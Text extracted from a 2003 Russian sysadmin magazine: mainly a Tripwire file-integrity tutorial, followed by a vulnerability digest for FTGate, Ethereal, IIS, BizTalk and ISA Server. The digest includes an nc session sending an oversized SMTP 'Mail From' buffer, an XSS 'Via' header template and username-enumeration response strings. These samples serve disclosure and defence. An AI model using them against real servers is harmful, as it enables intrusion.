В этой статье я описал лишь базовые настройкиVMWare. Надеюсь, что со все остальные возможности выосвоите самостоятельно. Все ваши вопросы вы можетезадать мне по адресу [email protected].

Page 71: 007 Системный Администратор 06 2003
Page 72: 007 Системный Администратор 06 2003

70

безопасность

СЕРГЕЙ ЯРЕМЧУК

Из всех аспектов деятельности системного администратора наиболее интересным и в то же времясамым сложным является обеспечение безопасности существования системы. Эту тему наразличных курсах обычно излагают довольно поверхностно, но защита, определенно, наиболееважная часть работы, вне зависимости от назначения компьютера и типа операционной системы,установленной на нем. После того как компьютер станет доступным тысячам пользователей вИнтернете или даже десятку сотрудников в небольшом офисе, придется львиную долю времениуделять проблеме бесперебойной и стабильной работы сервера, недопущению утечкиконфиденциальной информации. Причем уделять внимание данному вопросу необходимо невремя от времени, а целенаправленно и постоянно. Иначе в один прекрасный день на главнойстранице сайта появится надпись, что ваш сайт взломан. И это, кстати, не самое страшное, чтоможет произойти. По теории защиты написано много книг и много еще будет написано. Это оченьсложная тема, и надеяться, что в одной статье будут даны ответы на все вопросы, тоже не стоит.

Page 73: 007 Системный Администратор 06 2003

71№6(7), июнь 2003

безопасность

Начнем, пожалуй, с покупки дистрибутива. Лицензия Linux/FreeBSD хоть и позволяет использовать дистрибутив, куп-ленный на радиорынке, так же, как и купленный офици-ально, но доверять веб-сервер стоимостью свыше тыся-чи у.е. диску за несколько десятков рублей я бы не стал.Вполне вероятно, что это просто слитый с сайта ISO-об-раз, записанный на болванку, но точно гарантировать это-го никто не может. Кто помешает заменить некоторые па-кеты на доработанные под свои нужды с трояном внутри.Причем выдумывать самому ничего и не надо, все давноуже есть в паутине. Если все же другого выхода нет, илипросто есть необходимость в установке программы, невходящей в основной дистрибутив, то всегда его нужнопроверить на контрольную сумму. На большинстве ftp-ар-хивов рядом с файлом можно найти информацию о конт-рольной сумме: либо в отдельном файле, например,CHECKSUM.MD5, либо непосредственно на веб-страни-це. Такая проверка по алгоритму MD5 хоть как-то гаран-тирует, что в файле никаких изменений не произведено,и перед вами действительно находится оригинал. Узнатьконтрольную сумму скачанного файла очень просто:

Теперь, сравнив обе контрольные суммы, можно сде-лать вывод. Проверка контрольной суммы должна войти впривычку при каждой установке программного обеспече-ния. По этой же причине никогда не стоит брать файл спервого попавшегося сервера, лучше всего зайти на до-машнюю страницу или специальные сайты, предназначен-ные для этого: http://rpmfind.net/, http://www.freshports.org/.И еще один момент, связанный с установкой новой програм-мы под FreeBSD. Если понадобилась программа, которойнет в дистрибутиве, или ее новая версия, тогда, несмотряна то что можно пойти сразу на сайт и скомпилировать ее изисходников, советую все же сначала обратиться к деревупакаджей или портов. Включение в них утилиты свидетель-ствует о том, что программа прошла некоторое тестирова-ние на совместимость и безопасность и не станет, по край-ней мере, причиной краха системы. В данном случае про-верка контрольной суммы происходит автоматически безвмешательства пользователя. К тому же это самый простойи безопасный способ установить новое ПО на вашу систе-му. Бывает, что компиляция с помощью порта, в том числе ипо причине неправильной контрольной суммы, завершает-ся с ошибкой. Здесь может помочь обновление дерева пор-тов. В крайнем случае можно обратиться к человеку, под-держивающему данный порт (MAINTAINER), за консульта-цией и помощью. Узнать электронный адрес очень просто.Зайдите в каталог нужного порта и дайте команду:

Отправьте по этому адресу вывод компилятора и ин-формацию о системе (uname -a) и не забудьте заранеепоблагодарить за помощь.

С помощью контрольной суммы можно не только про-контролировать устанавливаемые программы. Первое, чтозлоумышленник произведет в вашей системе, – это устано-

вит или, скорее всего, изменит некоторые программы. Приэтом, например, стандартная и довольно часто используе-мая программа ps может быть заменена на другую с троя-ном внутри, а команда ls может не заметить созданные зло-умышленником каталоги. Чтобы избежать такого безобра-зия и иметь некоторый инструмент, позволяющий проконт-ролировать целостность системных файлов, применяютсяутилиты, которые автоматически проверяют значения конт-рольных сумм файлов и каталогов и заносят их в свою базуданных. Впоследствии системный администратор может вавтоматическом режиме сверить оригинальную, созданнуюпри установке, базу данных с имеющимися в системе фай-лами и при расхождении контрольных сумм выдать предуп-реждение по электронной почте. В таком случае можно сра-зу узнать о вторжении и оценить ущерб. При этом сразу хо-чется отметить, что данные средства отнюдь не отменяют,а, скорее, дополняют другие методы защиты. Причем сред-ства, контролирующие состояние файлов, имеют некотороепреимущество перед программами, выявляющими вторже-ние по наличию определенных сигнатур, хотя ничто не ме-шает использовать комплексный подход.

Наиболее популярным средством для решения этой за-дачи является утилита Tripwire. Данная утилита доступнакак OpenSource (http://www.tripwire.org/) и как 30-дневнаяознакомительная версия (http://www.tripwire.com/). Скачатьутилиту можно с сайта http://download.sourceforge.net/tripwire/, по последнему адресу дополнительно можно най-ти документацию tripwire-docs.

Для FreeBSD проще установить OpenSource Tripwire,воспользовавшись системой портов.

Единственный момент при установке, который можетвызвать замешательство,– это когда программа спраши-вает после просмотра лицензии:

Необходимо напечатать accept, нажатие Enter приве-дет к немедленному выходу из программы установки и еепридется повторить.

При компиляции в других системах первоначально не-обходимо раскомментировать строки в файле <src-root>/src/Makefile для переменной SYSPRE в соответствии с ис-пользуемой системой (Linux по умолчанию). Далее сле-дует ввести:

или

для установки одной выбранной программы и следо-вать дальнейшим указаниям программы. Установочныескрипты сами создадут ключи и инициируют базу дан-ных. После установки при помощи rpm-пакетов следу-ющим шагом необходимо произвести первоначальную

$ md5sum mysql-max-3.23.55-unknown-freebsd4.7-i386.tar.gz99b543fbe12c2980c66d365ca68e819b

$ more Makefile | grep MAINTAINERMAINTAINER= [email protected]

$ cd /usr/ports/security/tripwire$ make install clean

Please type "accept" to indicate your acceptance of thislicense agreement. [do not accept]

make all

make *_r(d )

Page 74: 007 Системный Администратор 06 2003

72

безопасность

инициализацию базы данных. Но для того чтобы не при-шлось этого делать дважды, лучше всего сразу отре-дактировать файлы конфигурации и политик. Для этогов каталоге /etc/tripwire (/usr/local/etc/tripwire – FreeBSD)имеются два шаблона в виде текстовых файлов.

В файле twcfg.txt содержится системно-специфичес-кая информация о размещении файлов базы данных, ре-дактор, используемый по умолчанию, программа и ее па-раметры для отправки почты. А в файле twpol.txt – файлполитики, состоящий из серии правил, что должен конт-ролировать tripwire, данные для объектов контроля, серь-езность контролируемого объекта и адрес электроннойпочты (emailto =) для каждой группы контроля, на кото-рый высылается уведомление о нарушении (если требу-ется указать сразу несколько адресов – все их можно пе-речислить через запятую). Здесь же желательно сменитьTEMPDIRECTORY = /tmp на каталог с нормальными пра-вами доступа (в /tmp для всех rwx).

Чтобы защитить против неправомерной модифика-ции все важные Tripwire-файлы, они сохранены на дискев закодированной и подписанной форме. Сама база дан-ных, политики, конфигурация и опции файла отчета за-щищены с El Gamal асимметричной криптографией с сиг-натурой в 1024 бита. El Gamal использует набор ключейс одним открытым ключом и одним закрытым ключомшифрования. В криптографической системе Tripwire двафайла ключей хранят public/private ключевую пару. Фай-лы конфигурации и политики защищаются от записи об-щим ключом, а сама база данных и отчеты – локаль-ным ключом. Для чтения достаточно доступного пуб-личного ключа, для записи требуется частный ключ, за-щищаемый парольной фразой. Поэтому после их ре-дактирования, в соответствии с реальными настройка-ми системы, необходимо запустить скрипт twinstall.sh,находящийся в этом же каталоге. Далее программа зап-росит site- и local-фразы (желательно не менее 8 сим-волов) для генерации соответствующих ключевых пар.После этого в каталоге образуются зашифрованныефайлы конфигурации и полиса tw.cfg и tw.pol, а такжефайлы ключей (/etc/tripwire/site.key и /etc/tripwire/host-local.key). В целях безопасности рекомендуется послеокончания процедуры инсталляции удалить файлы шаб-лонов с данного каталога.

Далее инициируем базу данных.

При этом после запроса локального пароля программасоздает отпечаток важных системных файлов (размер, кон-трольная сумма, права, время доступа и т. д.), записываетее в файл в каталоге /var/lib/tripwire/$(HOSTNAME).twd. Вовремя создания базы данных обратите внимание на сооб-щения об ошибках. Например:

Это означает, что в конфигурационном файле занесе-на излишняя информация. Желательно тут же подправить,иначе эти сообщения потом постоянно будут вас пресле-довать и дополнительно перегружать лог-файл.

Затем эта база данных ежедневно сравнивается с теку-щим состоянием файловой системы, позволяя обнаружитьдобавленные, измененные и удаленные файлы, с выдачейдовольно подробных отчетов. Такое расположение файлаудобно при запуске утилиты проверки согласованности фай-ловой системы с помощью демона cron, позволяющей пол-ностью автоматизировать данный процесс, включая инфор-мирование по указанному электронному адресу о результа-тах проверки. Но обнаружив присутствие утилиты при полу-чении определенных прав, злоумышленник может заменить(обновить) базу данных или полностью переустановитьtripwire (что гораздо проще), и после такой модификации ути-лита проверки не заметит подвоха. И вы будете получать попочте сообщения о том, что с системой все нормально, покав один прекрасный день не обнаружите несовпадение па-рольных фраз. Такой вариант также предусмотрен разра-ботчиками, для этого необходимо поместить отформатиро-ванную дискету в дисковод и присвоить значению перемен-ной TRIPWIRE_FLOPPY= YES с командой make install:

чтобы создать резервную базу данных:

После этого на дискете окажется все, что необходимодля восстановления системы и автономной работы утилит:копия начальной базы данных системы и дополнительноутилиты tripwire, twcheck и gunzip и копия файла tw.config.Хотя есть вероятность, что все это не поместится в 1.44 MBфлоппи-диска даже после архивирования, единственнымвыходом будет уменьшить количество объектов базы дан-ных. В любом случае желательно резервировать всю систе-му на всякий случай и Tripwire в том числе, и периодическисверять оригинальную и рабочую базы данных.

Проверить систему можно запустив программу tripwireбез аргументов (или tripwire --check, кому как нравится),при этом программа сравнивает текущее состояние сис-темы с сохраненным в базе данных и при несоответствиивыдает сообщение, при этом отмечается даже такая мелочь,как изменение времени модификации программы. Анало-гично производит ежедневную проверку демон cron посред-ством /etc/cron.daily/tripwire-check. А чтобы не ждать, покасистема все проверит, можно указать опцию --email-report:

и сообщение электронной почты будет послано всем по-лучателям, указанным в файле политики, используя фор-мат сообщения, определенное в EMAILREPORTLEVEL. Ноперед началом эксплуатации желательно проверить ра-боту электронной почты с помощью команды:

# /usr/sbin/tripwire--init

### Filename: /bin/ash### No such file or directory### Continuing...### Warning: File system error.### Filename: /bin/ash.static### No such file or directory### Continuing...

$ make install TRIPWIRE_FLOPPY= YES

$ make floppy

$ tripwire --check --email-report

$ tripwire --test --email [email protected]

Page 75: 007 Системный Администратор 06 2003

73№6(7), июнь 2003

безопасность

Если нет необходимости в проверке всей системы, томожно сразу указать, какие объекты необходимо проверить.

Все системные файлы разбиты по группам важности,что позволяет более гибко строить отчеты, не обращаявнимания на некритические для системы файлы, и наобо-рот. Например, чтобы выполнить проверку для файлов,начиная от средней степени важности и выше, можно вве-сти такую команду:

Или используя поверку правил по имени rulename, ко-торые прописаны в файле tw.pol. Например, для провер-ки системных файлов:

Конечно же, при необходимости частого использова-ния данного типа проверки желательно длинные имена,используемые в файле по умолчанию, заменить на свои,покороче. Ключ --interactive позволяет изменить БД в ди-алоговом режиме. Запускается текстовый редактор припомощи --visual имя-редактора или прописанный в пере-менной EDITOR в конфигурационном файле (или пере-менные окружения VISUAL или EDITOR) и предоставля-ется возможность отредактировать форму изменения БД,в которой каждый заносимый файл надо отметить крес-тиком в секции Object Summary, при этом запрашиваетсяпарольная фраза.

Конечно же, со временем некоторые утилиты обнов-ляются или удаляются и заменяются другими, поэтому спомощью опции --update можно обновить базу данных:

Для обновления всей системы:

А если указать конкректную программу, то обновля-ются сведения только о ней.

Программа после проверок создает отчет, по умолчаниюэто файл /var/db/tripwire/report/(HOSTNAME)-$(DATE).twr.Файл после создания будет иметь примерно такое назва-ние: localhost-20030327-071039.twr

Но при помощи команды:

можно задать свой файл отчетов, что удобно использо-вать в самостоятельно написанных скриптах.

По умолчанию при генерации отчетов используетсяREPORTLEVEL=3 (Concise Report), отражающий довольноподробную информацию с выводом ожидаемых и наблюда-емых значений и прочее, который можно изменить в файлеtw.cfg. Tripwire позволяет гибко задавать отчеты, в зависи-мости от необходимости в той или иной информации, дляэтого на ходу изменяется report_level в пределах от 0 до 4.

При необходимости внесения глобальных измененийвсегда можно будет получить расшифрованную копию кон-фигурационного файла при помощи команды:

После внесения необходимых изменений и сохране-ния зашифрованный файл создается командой:

$ tripwire --check object1 object2 object3

# tripwire --check --severity 66

# tripwire --check --rulename "File System and Disk ↵Administraton Programs"

$tripwire --update

$ tripwire --update /usr/sbin/sshd

# tripwire --check --twrfile /var/lib/report/myreport.twr

# twprint --print-report --report-level 1 --twrfile ↵/var/lib/report/report.twr

Уровни отчетов

Уровень 0Отчет одной строкой. Появляется всегда в строке Subjectотчета, высылаемого по e-mail.

TWReport имя-хоста дата-и-время V:число-нарушенийS:макс-уровень A:добавлено R:удалено C:изменено

Уровень 1Список имен измененных файлов в виде, легко разбира-емом программой автоматического восстановления илиподобной. Каждая строка состоит из ключевого слова(Added, Modified), двоеточия и имени файла.

Уровень 2Суммарный отчет, включает список нарушений с указа-нием имен правил, список добавленных, измененных и

удаленных файлов. Секция Object Summary содержит под-робный список файлов, которых затронули изменения.

Уровень 3Суммарный отчет, включает список нарушений с указа-нием имен правил, список добавленных и удаленных фай-лов, ожидаемые и реальные свойства измененных фай-лов. Также выводит дополнительные подробности.

Уровень 4Суммарный отчет, выводящий максимальное количестводеталей, список нарушений с указанием имен правил, спи-сок добавленных, измененных и удаленных файлов, де-тальный отчет по каждому добавленному файлу (все свой-ства), каждому измененному файлу (все проверяемые,ожидаемые и реальные свойства), каждому удаленномуфайлу (все проверяемые и ожидаемые свойства). Приэтом отличающиеся параметры помечаются звездочкойв начале строки.

TWReport LIGHTHOUSE 19991021134026 V:45 S:100 A:2 R:1 C:6

Added: /usr/bin/bashModified: /usr/bin

# twadmin –print-cfgfile > /etc/tripwire/twcfg.txt

# twadmin --create-cfgfile --site-keyfile ↵/etc/tripwire/site.key /etc/tripwire/twcfg.txt

Page 76: 007 Системный Администратор 06 2003

74

безопасность

Аналогично при добавлении новых файлов, которыевы желаете контролировать, изменении уровня значимо-сти или удалении старых, при изменении адресов элект-ронной почты и засорении файла отчетов ложными сооб-щениями, захочется изменить файл политик.

Создаем копию файла политик:

И после внесения необходимых изменений модифи-цируем политики:

Ключевые site- и local-файлы образуются во время пер-вого запуска, но иногда возникает необходимость в их пол-ной замене. Парольная фраза меняется только одновремен-но со сменой ключей, поэтому чтобы сменить парольнуюфразу, надо предварительно дешифровать все файлы, сге-нерировать новые ключи, затем уже зашифровать файлы сновыми ключевыми данными. При этом, если забудете па-рольную фразу или удалите файлы с ключами, то зашифро-ванные файлы, т.е. конфигурация, политики, база данных иотчеты при их шифровании будут недоступны. В этом слу-чае лучшим решением будет переустановка всей системы.И кстати, шифровка также не помешает хакеру при нали-чии определенных прав просто удалить любой файл, вклю-чая саму базу данных tripwire, поэтому использование tripwireне отменяет обязательности резервного копирования.

Узнать, какой ключ был использован (и был ли вооб-ще) для шифровки файла можно при помощи:

Убрать шифровку ( при этом запрашивается парольнаяфраза, сам файл остается в двоичном формате):

Затем создание нового ключа:

или

И шифрование файла:

или

База данных хранится в закодированной двоичной форме,чтобы распечатать ее в виде текстового файла, можно вос-пользоваться дополнительной утилитой, входящей в комп-лект twprint. При использовании базы данных по умолчанию:

Или для произвольной базы данных:

Аналогично для файла с отчетом:

В комплекте пакета имеется вспомогательная програм-ма, вычисляющая контрольную сумму методами CRC-32,MD5, HAVAL и SHA в реализации tripwire, что позволяетсравнить производительность различных методов:

Конечно, нельзя говорить, что использование Tripwire яв-ляется панацеей от всех бед, но использование данной ути-литы может существенно усложнить жизнь тем, кому хочет-ся покопаться в чужом компьютере и подать предупрежда-ющий знак системному администратору, когда такой моментнаступит. В следующий раз рассмотрим еще некоторые ути-литы, позволяющие повысить защищенность системы.

Формат конфигурационного файланастроек /etc/tripwire/tw.cfg (twcfg.txt)Содержит пути к вспомогательным программам, адресэлектронной почты, каталоги для размещения конфигу-рационных файлов Tripwire. Файл структурирован как спи-сок пар имя_переменной = значение. Любая строка, на-чинающаяся с #, считается комментарием. При этом вфайле могут быть определены переменные, к которымможно обращаться как $(имя_переменной). Две перемен-ные предопределены и не могут быть изменены:� HOSTNAME – простое имя хоста;� DATE – представление времени в формате 20030427-

111033.

Обязательные переменные:� POLFILE = /etc/tripwire/tw.pol (имя файла политик);� DBFILE = /var/lib/tripwire/$(HOSTNAME).twd (имя фай-

ла с базой данных);� REPORTFILE = /var/lib/tripwire/report/$(HOSTNAME)-

$(DATE).twr (шаблон имен файлов с отчетами);� SITEKEYFILE = /etc/tripwire/site.key (общий ключ);� LOCALKEYFILE = /etc/tripwire/$(HOSTNAME)-local.key

(локальный ключ).

Опциональные переменные:� EDITOR = /bin/vi (имя текстового редактора, использу-

емого в интерактивном режиме; если он неопределен,будет использована программа, прописанная в систем-ной переменной $VISUAL или $EDITOR);

# twadmin --encrypt --local-keyfile ↵/etc/tripwire/localkey.keyfile1 file2

# twadmin --encrypt --site-keyfile ↵/etc/tripwire/sitekey.key file1 file2

# twprint --print-dbfile > db.txt

# twprint --print-dbfile --dbfile otherfile.twd > db.txt

# twprint --print-report --twrfile èìÿ-ôàéëà-ñ-îò÷åòîì

# /usr/sbin/siggen /var/lib/tripwire/localhost.twd----------------------------------------------------------Signatures for file: /var/lib/tripwire/localhost.twd

CRC32 BVr6P8MD5 CyDxlDF7Mnuz3njdkViXBBSHA OQlEAmFhfbcDp8ExomcqkJ8HGNSHAVAL BIR2NV6sOozXF9X92hqkyA----------------------------------------------------------

# twadmin --print-polfile > /etc/tripwire/twpol.txt

# tripwire --update-policy /etc/tripwire/twpol.txt

# twadmin --examine file1 file2

# twadmin --remove-encryption file1 file2

# twadmin --generate-keys --local-keyfile ↵/etc/tripwire/localkey.key

# twadmin --generate-keys --site-keyfile ↵/etc/tripwire/sitekey.key

Page 77: 007 Системный Администратор 06 2003

75№6(7), июнь 2003

безопасность

� TEMPDIRECTORY = /tmp (каталог для хранения вре-менных файлов);

� LATEPROMPTING = false (откладывать запрос па-рольной фразы до последнего, чтобы пароль меньшенаходился в системной памяти);

� SYSLOGREPORTING = true (выдавать на syslog уров-ни «user» и «notice» – сообщения о создании базы дан-ных, проверках, изменениях базы данных и политики,с уровенем подробности – 0);

� LOOSEDIRECTORYCHECKING = false (при установкев true не выдает излишние сообщения о измененияхatime и mtime для каталогов, в которых был добавленили удален контролируемый файл; эквивалентно до-бавлению -snacmblCMSH для всех каталогов);

� REPORTLEVEL = 3 (уровень подробности отчета поумолчанию для twprint). Переменные для настройкиуведомления по e-mail;

� GLOBALEMAIL = (добавить этот список адресов к по-лучателям отчетов по почте);

� MAILMETHOD = SMTP или SENDMAIL – протокол дляпередачи почтовых сообщений, используемый tripwire;

� SMTPHOST = (имя домена или IP-адрес сервера SMTP;игнорируется, если предыдущая переменная не уста-новлена в SMTP);

� SMTPPORT = 25 (определяет номер порта, используе-мый с SMTP, игнорируемым, если MAILMETHOD неSMTP);

� MAILPROGRAM = /usr/sbin/sendmail -oi -t (Определяетполный путь к программе, используемой для электрон-ной почты, если MAILMETHOD, если MAILMETHOD ус-тановлен в SENDMAIL, это может быть любая подоб-ная программа, удовлетворяющая RFC 822);

� EMAILREPORTLEVEL = 3 (уровень подробности отче-та для почтовых извещений);

� MAILNOVIOLATIONS = false (не посылает письма приотсутствии нарушений политик, при установке в trueи отсутствии каких-либо нарушений будут приходитьсообщения об этом, что рекомендуется для контроляфункционирования системы, но увеличивает количе-ство писем).

Формат конфигурационногофайла политик/etc/tripwire/tw.pol (twpol.txt)Файл политик состоит из серии правил, определяющихто, какой реквизит для каждого объекта должен быть со-бран и сохранен в файле базы данных. Каждый объект вфайле политик связан с маской свойства, которая опи-сывает то, что Tripwire должен контролировать, и кото-рые могут безопасно игнорироваться. Настраивая раз-личные аспекты файла политик, администратор систе-мы может через Tripwire управлять проверкой целостно-сти системы.

Основным компонентом файла являются правила(rules), в которых определяются проверяемые свойствадля каждого объекта. При этом файлы и в каталогах на-следуют правила родительского каталога, но при усло-вии, что внутренние каталоги находятся на одном и томже дисковом устройстве, иначе для всех «выпавших» пра-

вила нужно определить отдельно. Как и в конфигураци-онном файле, возможно использование комментариев ипеременных. Кроме проверяемых объектов, могут допол-нительно указываться игнорируемые, что позволяет ис-ключить «лишние» файлы.

При задании имени объекта необходимо помнить, чтопробелы в имени игнорируются, поэтому их требуется зак-лючить в кавычки. То же касается как самой кавычки, таки всех специальных символов применительно к С++(!{}>(),;=$#|\+’ и \n, \t,\v, \b, \r, \f, \a, \\, \?, \’, \"), которые мож-но экранировать обратной чертой, а также чисел, задан-ных в восьмеричной или шеснадцатеричной форме.

Например:

Свойства, которые будут проверяться, задаются мас-кой свойств, при этом каждому соответствует своя бук-ва. При отсутствии свойств объект не проверяется. Еслиперед свойством стоит минус «-», то данное свойство иг-норируется, если плюс «+», то включается проверка дан-ного свойства. Если знака перед буквой нет, то подразу-мевается предыдущий в данном правиле знак или знакплюс при отсутствии знаков. Проверяются следующиесвойства ([+-]*[pinugtsldbamcrCMSH])+:� p – права доступа;� i – inode;� n – число жестких ссылок;� u – uid;� g – gid;� t – тип файла;� s – размер;� l – ожидается, что файл будет расти; если он умень-

шился, то фиксируется нарушение (полезно, например,для журналов);

� d – номер устройства диска, на котором хранится со-ответствующий inode;

� b – число блоков;� a – время доступа (несовместим с +CMSH, т.к. для вы-

числения суммы необходимо прочитать файл; доступк содержимому директории меняет время доступа кней. Можно избежать recurse = false, LOOSEDIREC-TORYCHECKING = true и правило -a);

� m – время модификации;� c – время создания/модификации inode;� r – для файлов устройств номер устройства;� C – контрольная сумма по CRC-32, POSIX 1003.2 (са-

мый быстрый, но наименее защищенный вариант изпредставленных);

� M – контрольная сумма по MD5 RSA Data Security;� S – контрольная сумма по SHS/SHA-алгоритму;� H – контрольная сумма по HAVAL.

Имеет смысл использовать CMSH для файлов пара-ми, а не все четыре сразу, так как определение всех су-щественно замедлит производительность.

object name -> property_mask [attribute=value …];! object name;

"/te\x73t2"

Page 78: 007 Системный Администратор 06 2003

76

безопасность

Атрибуты правил предназначены для того, чтобы из-менить их поведение или обеспечить дополнительную ин-формацию. При этом атрибуты записываются в виде спис-ка имя = значение через запятую и могут применяться котдельному правилу или группе правил.

Группа правил заключается в фигурные скобки. Спи-сок атрибутов для группы правил записывается в скоб-ках перед ней.

Индивидуальные атрибуты имеют больший приоритет,чем групповые, за исключением атрибута emailto – в этомслучае атрибут добавляется. Пример.

Могут использоваться следующие атрибуты:� rulename – по умолчанию, простое имя файла; исполь-

зуется в отчетах, для группировки правил, для провер-ки только части правил, желательно для удобства ис-пользовать короткое, но понятное значение;

� emailto – адрес электронной почты, на который по умол-чанию высылаются сообщения; чтобы указать несколь-ко адресов, надо перечислить их через точку с запя-той и заключить в кавычки;

� severity – определяет уровень серьезности правила (от0 до 1000000, по умолчанию – 0;) чем больше, тем се-рьезнее; проверку можно запускать только для пра-вил указанного уровня или выше; в командной строкемогут использоваться ключи:� high – уровень 100;� medium – уровень 66;� low – уровень 33.

� recurse – рекурсивная проверка директорий, true (-1)по умолчанию, т.е. полный просмотр, false (0) или на-туральное число (максимальный уровень вложеннос-ти до 1000000).

Tripwire поддерживает маленький набор preprocessor-подобных директив, которые группируют правила, обес-печивают условное выполнение и восполняют некоторуюдиагностику и действия отладки. Первичное намерениеэтого механизма состоит в том, чтобы поддержать разде-ление файла политики среди нескольких машин. Дирек-тивы имеют следующий синтаксис:

При этом сама директива не может быть получена какзначение переменной, но переменные могут использо-

ваться в качестве параметров. Обрабатываются следую-щие директивы:� @@section имя – предназначен в основном для работы

с Windows NT, но для Unix обрабатываются только пра-вила в первой секции с именем FS; если секций нет, тообрабатываются все правила, которые будут интерпре-тироваться как правила UNIX, что может создавать про-блему, если файл политики, разработанный для системWindows NT используется с UNIX; в секции GLOBAL оп-ределяются глобальные переменные;

� @@ifhost имя-хоста { || имя-хоста } – использовать пра-вила только для указанного хоста (хостов); условиямогут быть вложенными;

� @@else и @@endif – обработка условных выраженийвместе с @@ifhost:

� @@print строка в кавычках – вывод на stdout;� @@error строка в кавычках – вывод на stdout и завер-

шение со статусом 1;� @@end – любой дальнейший текст в файле игнориру-

ется; не может использоваться внутри группы или ус-ловного блока.

Для удобства можно определять и использовать в фай-ле политики два типа переменных.

Глобальные переменные имеют видимость всюду вфайле политики, в то время как локальные переменные,определенные в разделе UNIX файла политики имеют ви-димость только в пределах того раздела.

В случае же, где глобальная и локальная перемен-ные имеют то же самое название, локальная перемен-ная будет иметь приоритет в ее разделе, временно мас-кируя глобальную переменную. Значение переменнойприсваивается командой имя_переменной = значение,подстановка значения осуществляется конструкцией$(variable). Первоначально имеются следующие предоп-ределенные переменные:� ReadOnly = +pinugsmtdbCM-raclSH (предполагается,

что содержимое файлов не будет изменяться, толькочтение);

� Dynamic = +pinugtd-rsacmblCMHS (предполагаетсячастое изменение содержимого файлов, например,/home, /var);

� Growing = +pinugtdl-rsacmbCMSH (предполагается, чтофайлы будут только расти, например, журналы);

� IgnoreAll = -pinusgamctdrblCMSH (проверяется тольколишь наличие или отсутствие файла, остальное игно-рируется);

� IgnoreNone = +pinusgamctdrbCMSH-l (включает все име-ющиеся свойства и предназначен для дальнейшего кон-струирования собственной маски: $(IGnoreNone)-ar, на-пример, для предупреждения нарушения времени до-ступа);

� Device = +pugsdr-intlbamcCMSH (для устройств и фай-лов, которые нельзя открывать).

/usr/lib -> $(ReadOnly) ( emailto = [email protected] ) ;

(attribute = value){rule1;rule2;...}

(emailto = [email protected], severity = 90){/etc/dog-> +pingus (severity = 75);/etc/cat-> $(Dynamic) (emailto = [email protected]);}

@@directive [arguments]

@@ifhost machine1 || machine2/usr/bin -> +pinug ;@@else/usr/bin -> +pinugsmC ;@@endif

Page 79: 007 Системный Администратор 06 2003

Межсайтовый скриптинг черезhttp-заголовок 'Via'в Microsoft ISA-сервереУязвимость в проверке правильности ввода обнаружена вMicrosoft Internet Security and Acceleration (ISA) Server. Удален-ный пользователь может выполнить XSS-нападение противпользователей в сети, в которой используется ISA-сервер. На-падение может быть выполнено против любого домена.

Удаленное переполнение буферав командах "Mail From" и "RCPT TO"в FTGate ProПереполнение буфера обнаружено в почтовом сервереFTGate Pro. Удаленный пользователь может выполнитьпроизвольный код на сервере с System-привилегиями.

Сообщается, что сервер содержит переполнение бу-фера в обработке ESMTP-команд. Уязвимы команды "MailFrom" и "RCPT TO". Удаленный пользователь может по-слать специально обработанные параметры для этих ко-манд, чтобы вызвать переполнение буфера. Пример:

Уязвимость обнаружена в FTGate Pro Mail Server 1.22,prior to Build 1330.

Переполнение буфера в несколькихдешифраторах протоколов в EtherealНесколько “off-by-one” переполнений буфера и целочис-ленных переполнений буфера обнаружено в сетевомсниффере Ethereal. Удаленный пользователь может ава-рийно завершить работу Ethereal или выполнить произ-вольный код.

Сообщается, что некоторые дешифраторы протоколовв Ethereal небезопасно используют функцииtvb_get_nstringz() и tvb_get_nstringz0().

Удаленный пользователь может сконструировать спе-циально обработанный пакет, который вызовет однобай-товое переполнение в дешифраторах AIM, GIOP Gryphon,OSPF, PPTP, Quake, Quake2, Quake3, Rsync, SMB, SMPPи TSP. Целочисленное переполнение обнаружено в де-шифраторах Mount и PPP.

Уязвимость обнаружена в Ethereal 0.9.11 и более ран-них версиях.

Определение имен пользователейв Microsoft IIS 4.0-6.0Уязвимость раскрытия информации обнаружена в InternetInformation Server (IIS) Authentication Manager, утилите, ис-пользуемой для изменения паролей пользователей насистеме через веб-интерфейс. Удаленный пользовательможет определить существование имени пользователя.

Удаленный пользователь может запросить изменениепароля для определенного имени пользователя. Если имяпользователя существует на целевом сервере, целевойсервер ответит следующим сообщением:

Если не существует, то следующим:

Уязвимость обнаружена в Microsoft IIS 4.0-6.0.

Удаленное переполнение буфераи выполнение произвольныхSQL-инструкций в Microsoft BizTalk ServerДве уязвимости обнаружены в Microsoft BizTalk Server.Удаленный пользователь может выполнить произвольныйкод на сервере. Удаленный пользователь может выпол-нить произвольные SQL-команды на сервере.

Переполнение буфера обнаружено в BizTalk Server2002 в ISAPI-фильтре HTTP receiver. Удаленный пользо-ватель может представить специально обработаннуюHTTP-команду, чтобы переполнить буфер и выполнитьпроизвольный код в контексте IIS-процесса. Также уяз-вимость может использоваться для аварийного завер-шения работы веб-сервера IIS. HTTP receiver по умол-чанию отключен.

Уязвимость в проверке правильности ввода обнару-жена в BizTalk Server 2000 и 2002 в веб-интерфейсеDocument Tracking и Administration (DTA). Одна из веб-стра-ниц, используемая в веб-интерфейсе DTA, не выполняетпроверку входных параметров. Удаленный пользовательможет сконструировать URL, содержащий SQL-инструк-ции, который при загрузке DTA-пользователем выполнитэти SQL-инструкции на целевом сервере с привилегиямиDTA-пользователя. Удаленный пользователь может пред-принимать действия на базе данных BizTalk SQL и выпол-нять команды операционной системы в зависимости отпривилегий DTA-пользователя.

Уязвимость обнаружена в Microsoft BizTalk Server2000, 2002.

Сообщается, что удаленный пользователь может со-здать специально сформированный http-запрос, которыйзаставит ISA-сервер сгенерировать страницу ошибки.Удаленный пользователь может внедрить произвольныйHTML-код, включая Javascript-код, в HTTP-заголовок 'Via'.

Когда целевой пользователь выполняет HTTP-запрос,страница ошибки ISA-сервера отобразит HTML- илиJavaScript-код, представленный пользователем, будетвыполнен в браузере целевого пользователя, в контек-сте безопасности запрашиваемого домена. В результатекод может обратиться к куки целевого пользователя.

Пример:

Уязвимость обнаружена в Microsoft ISA Server.

Составил Александр Антипов

nc warlab.dk 25220 win2k-serv ESMTP Server FTGateHELO Foobar250 win2k-servMail From : <aaaaa....[BUFFER about 2000 Bytes @ and 2000bytes again ending with ".com"]<Connection closed>

ISA Server: davinci.winmat.comVia: <YOUR_CODE_HERE>

"The specified network password is not correct."

"The user name could not be found."

77№6(7), июнь 2003

bugtraq

Page 80: 007 Системный Администратор 06 2003

78

безопасность

